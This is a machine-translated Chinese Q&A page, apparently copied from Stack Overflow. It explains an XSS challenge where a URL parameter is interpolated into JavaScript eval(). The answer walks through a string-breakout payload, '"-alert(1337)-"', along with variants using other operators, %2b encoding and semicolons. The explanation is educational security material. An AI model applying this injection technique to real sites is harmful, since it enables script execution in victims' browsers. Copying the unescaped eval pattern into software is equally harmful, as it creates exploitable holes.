该挑战采用一个称为jeff输入的查询参数,并将其存储在名为 的变量中jeff。挑战的目标是在页面上加载警报框。该解决方案使用连字符在函数内运行 Javascript eval()。
所以,我们有这样的评估:
eval(`ma = "Ma name ${jeff}"`)
Run Code Online (Sandbox Code Playgroud)
获得警报框的解决方案输入是(剧透警报!没有双关语。):
"-alert(1337)-"
Run Code Online (Sandbox Code Playgroud)
现在,我迫切需要了解 Javascript 如何处理这些连字符!帮助!?
该网站使用的代码是:
let jeff = (new URL(location).searchParams.get('jeff') || "JEFFF")
eval(`ma = "Ma name ${jeff}"`)
Run Code Online (Sandbox Code Playgroud)
注意,它searchParams给你一个URLSearchParams对象,它的.get方法给你一个与参数对应的字符串。因此,目标是想出一些字符,当插入到
ma = "Ma name <CHARACTERS>"
Run Code Online (Sandbox Code Playgroud)
并运行,导致任意代码执行。
第一步是包围 s 中的字符",以便结束 后的字符串文字name并在 CHARACTERS 后恢复字符串文字:
ma = "Ma name " <SOMETHING ELSE> ""
Run Code Online (Sandbox Code Playgroud)
所以现在您需要弄清楚可以输入什么类型的字符来<SOMETHING ELSE>生成有效的 Javascript 代码。
如果你只是输入alert(),那将无效:
ma = "Ma name " alert() ""
Run Code Online (Sandbox Code Playgroud)
这是一个语法错误。您需要一些东西来表明alert与它前面的字符串文字标记有什么关系。A-可以做到这一点,但任何其他运算符也可以,例如+、%等。您还需要将 的末尾alert与恢复的字符串文字连接起来,因此在末尾需要另一个运算符:
ma = "Ma name "-alert('foo')-""
// ^^^^^^^^^^^^^^^^
Run Code Online (Sandbox Code Playgroud)
let jeff = (new URL(location).searchParams.get('jeff') || "JEFFF")
eval(`ma = "Ma name ${jeff}"`)
Run Code Online (Sandbox Code Playgroud)
所以,需要插入的字符是:
"-alert('foo')-"
Run Code Online (Sandbox Code Playgroud)
请注意,由于字符串是在搜索参数内传递的,因此 a+不会被解释为文字字符+- 相反,它将被解释为 space。所以jeff="+alert(1337)+"不会起作用,但jeff="%2balert(1337)%2b"会。
分号也有效,因为它们会导致:
ma = "Ma name " <SOMETHING ELSE> ""
ma = "Ma name "; alert() ;""
Run Code Online (Sandbox Code Playgroud)
这是有效的语法。
| 归档时间: |
|
| 查看次数: |
915 次 |
| 最近记录: |